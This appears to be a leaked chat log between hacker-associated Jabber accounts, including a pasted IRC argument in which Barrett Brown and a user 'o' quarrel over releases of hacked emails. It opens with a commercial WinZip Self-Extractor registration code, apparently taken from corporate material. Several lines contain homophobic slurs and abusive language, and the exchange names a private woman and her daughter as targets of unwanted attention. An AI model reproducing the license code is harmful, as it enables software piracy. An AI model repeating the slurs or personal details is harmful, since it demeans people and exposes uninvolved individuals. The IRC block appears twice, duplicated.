(1:08:50 PM) leondavidson@jabber.org/70dc82bb90a035d3: We have 1 license for Winzip self
extractor. This was originally licensed to Gary Hauck in the Melville site... It is likely that this
license will transfer down to someone in the Virginia office... For international localization,
those groups will need to obtain their own licenses.
The WinZip Self-Extractor registration code is
Symantec
381113
This can be entered in the first panel of Winzip Self-Extractor that has a button labeled "Enter
Registration Code".
(1:08:51 PM) leondavidson@jabber.org/70dc82bb90a035d3: lololol
(6:26:59 PM) leondavidson@jabber.org/jabber.org: yo neegah
(6:27:33 PM) yohoho@jabber.ccc.de: yo
(6:27:36 PM) yohoho@jabber.ccc.de: i'm hanging with peeps so I'm sorta afk
(6:27:38 PM) yohoho@jabber.ccc.de: but how you doin
(6:27:52 PM) leondavidson@jabber.org/jabber.org: tired. had a long gay ass day
(7:03:28 PM) leondavidson@jabber.org/jabber.org: you?
(8:11:55 PM) yohoho@jabber.ccc.de: BarrettBrown o
BarrettBrown don't mention emma in another release, ever
BarrettBrown her daughter was targeted by someone like you for associating with me
BarrettBrown and I don't want any further attention on her
BarrettBrown also, you're a giant fucking faggot
yohoho@jabber.ccc.de: BarrettBrown o
BarrettBrown don't mention emma in another release, ever
BarrettBrown her daughter was targeted by someone like you for associating with me
BarrettBrown and I don't want any further attention on her
BarrettBrown also, you're a giant fucking faggot
o maybe you should learn how to be… you know … anonymous then.
o because your actions have consequences on others
BarrettBrown that having been said, this is hilarious
BarrettBrown http://pastebin.com/YwazdGRZ
BarrettBrown o, seriously, shut the fuck up. You didn't make this hack happen and the person
who did doesn't like you
o don't blame us for whatever hapened to emma because of your crush on her or whatever
BarrettBrown the content on these releases are all shit, too
BarrettBrown you really shouldn't be writing them
o you're also bad at language recognition as well
o if you want to further give the media reason to believe that there are internal divisions, than
continue ranting
BarrettBrown there are internal divisions
(8:21:23 PM)
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o we specifically refrained from saying we have nothing to do with BB and avoided mentioning
the fact that no one likes you or trusts you
BarrettBrown there are people who attack the enemy, and there are people who attack me
o in any of the strat releases, we never said shit about you
o you're a fool for sticking your neck out in the first place, but you have every right to do so
BarrettBrown insomuch as I've known about this op since before it was executed and know
where the e-mails are, obviously they do trust me
BarrettBrown I'm sticking my neck out because I believe in this and my media work made me
more useful as myself than as anonymous
o i'm glad you're into it for your own reasons, but it's foolish to appear to be leading / speaking
on behalf of the hackers who did this
o not only are you risking your freedom but you're risking others
BarrettBrown everyone else understands this, which is why I'm involved in things
BarrettBrown don't attack me and bring negative attention to a female activist simply because
she's fond of me
BarrettBrown those are not activist operations
o I wasn't responsible for writing those quotes, but
BarrettBrown that's the work of a fucked-up zeta male
o i'm a big believer of keeping internal divisions and personal disagreements private
BarrettBrown no, you're not
* AutoBot has quit (Connection closed)
* Nube has quit (Quit: melocotn)
o so that way the media doesn't try to twist shit and make us look divided
BarrettBrown or you'd not be putting out material against me
BarrettBrown when the media clearly focuses on me
BarrettBrown you love internal division if it's with someone you've got an obsession with
* AutoBot (ircbot@CLOAK-rh5.jlf.4lrdte.IP) has joined #projectpm
o lol, none of us have any such obsession with you, it's more ridiculing you about constantly
being in the news speaking on behalf of ops you were not a part of
o but whatevs
o there's reasons why we are working with other people. not disrespecting your work or you
personally
* x0lol has quit (Read Error)
* BarrettBrown sets ban on *!*@CLOAK-30q.8k7.c421ac.IP
* x0lol (x0lol@CLOAK-ui7.b5d.bmjdgg.IP) has joined #projectpm
* You have been kicked from #projectpm by BarrettBrown (ectpm o)
(11:18:09 PM) leondavidson@jabber.org/jabber.org: yo
(11:18:09 PM) leondavidson@jabber.org/jabber.org: yo
(11:18:09 PM) leondavidson@jabber.org/jabber.org: yo
(11:18:10 PM) leondavidson@jabber.org/jabber.org: yo
(11:18:10 PM) leondavidson@jabber.org/jabber.org: yo
(11:18:11 PM) leondavidson@jabber.org/jabber.org: yo
(11:18:11 PM) leondavidson@jabber.org/jabber.org: yo
(11:18:11 PM) leondavidson@jabber.org/jabber.org: yo
(11:18:12 PM) leondavidson@jabber.org/jabber.org: yo
(11:19:01 PM) yohoho@jabber.ccc.de: hey hey
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(11:19:02 PM)
(11:19:04 PM)
(11:19:12 PM)

yohoho@jabber.ccc.de: =)
yohoho@jabber.ccc.de: what's good?
yohoho@jabber.ccc.de: see that hilarious BB rage when he saw one of the email

teasers?
leondavidson@jabber.org/jabber.org: nope
leondavidson@jabber.org/jabber.org: what did he do / say
yohoho@jabber.ccc.de: BarrettBrown o
BarrettBrown don't mention emma in another release, ever
BarrettBrown her daughter was targeted by someone like you for associating with me
BarrettBrown and I don't want any further attention on her
BarrettBrown also, you're a giant fucking faggot
o maybe you should learn how to be… you know … anonymous then.
o because your actions have consequences on others
BarrettBrown that having been said, this is hilarious
BarrettBrown http://pastebin.com/YwazdGRZ
BarrettBrown o, seriously, shut the fuck up. You didn't make this hack happen and the
person who did doesn't like you
o don't blame us for whatever hapened to emma because of your crush on her or whatever
BarrettBrown the content on these releases are all shit, too
BarrettBrown you really shouldn't be writing them
o you're also bad at language recognition as well
o if you want to further give the media reason to believe that there are internal divisions, than
continue ranting
BarrettBrown there are internal divisions
o we specifically refrained from saying we have nothing to do with BB and avoided
mentioning the fact that no one likes you or trusts you
BarrettBrown there are people who attack the enemy, and there are people who attack me
o in any of the strat releases, we never said shit about you
o you're a fool for sticking your neck out in the first place, but you have every right to do so
BarrettBrown insomuch as I've known about this op since before it was executed and know
where the e-mails are, obviously they do trust me
BarrettBrown I'm sticking my neck out because I believe in this and my media work made
me more useful as myself than as anonymous
o i'm glad you're into it for your own reasons, but it's foolish to appear to be leading /
speaking on behalf of the hackers who did this
o not only are you risking your freedom but you're risking others
BarrettBrown everyone else understands this, which is why I'm involved in things
BarrettBrown don't attack me and bring negative attention to a female activist simply because
she's fond of me
BarrettBrown those are not activist operations
o I wasn't responsible for writing those quotes, but
BarrettBrown that's the work of a fucked-up zeta male
o i'm a big believer of keeping internal divisions and personal disagreements private
BarrettBrown no, you're not
* AutoBot has quit (Connection closed)
* Nube has quit (Quit: melocotn)
(11:19:28 PM)
(11:19:32 PM)
(11:19:45 PM)
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o so that way the media doesn't try to twist shit and make us look divided
BarrettBrown or you'd not be putting out material against me
BarrettBrown when the media clearly focuses on me
BarrettBrown you love internal division if it's with someone you've got an obsession with
* AutoBot (ircbot@CLOAK-rh5.jlf.4lrdte.IP) has joined #projectpm
o lol, none of us have any such obsession with you, it's more ridiculing you about constantly
being in the news speaking on behalf of ops you were not a part of
o but whatevs
o there's reasons why we are working with other people. not disrespecting your work or you
personally
* x0lol has quit (Read Error)
* BarrettBrown sets ban on *!*@CLOAK-30q.8k7.c421ac.IP
* x0lol (x0lol@CLOAK-ui7.b5d.bmjdgg.IP) has joined #projectpm
* You have been kicked from #projectpm by BarrettBrown (ectpm o)
(11:21:25 PM) leondavidson@jabber.org/jabber.org: you serious
(11:21:25 PM) leondavidson@jabber.org/jabber.org: wait
(11:21:32 PM) leondavidson@jabber.org/jabber.org: why is he raging? did you refer to emma?
(11:21:42 PM) yohoho@jabber.ccc.de: you didn't see the email teasers?
(11:21:46 PM) leondavidson@jabber.org/jabber.org: yes
(11:21:48 PM) leondavidson@jabber.org/jabber.org: briefly
(11:21:55 PM) yohoho@jabber.ccc.de: there was a quote in the beginning from BB and emma
(11:21:59 PM) leondavidson@jabber.org/jabber.org: im those kind of readers where I speedread
and shit
(11:22:03 PM) leondavidson@jabber.org/jabber.org: really?
(11:22:07 PM) leondavidson@jabber.org/jabber.org: didnt see it
(11:22:09 PM) yohoho@jabber.ccc.de: not directly
(11:37:14 PM) yohoho@jabber.ccc.de: have you talked to jackal more yet?
(11:37:17 PM) yohoho@jabber.ccc.de: bout what is up?
(12:09:20 AM) yohoho@jabber.ccc.de: yo
(12:33:32 AM) yohoho@jabber.ccc.de: yo
(12:33:34 AM) yohoho@jabber.ccc.de: you there?
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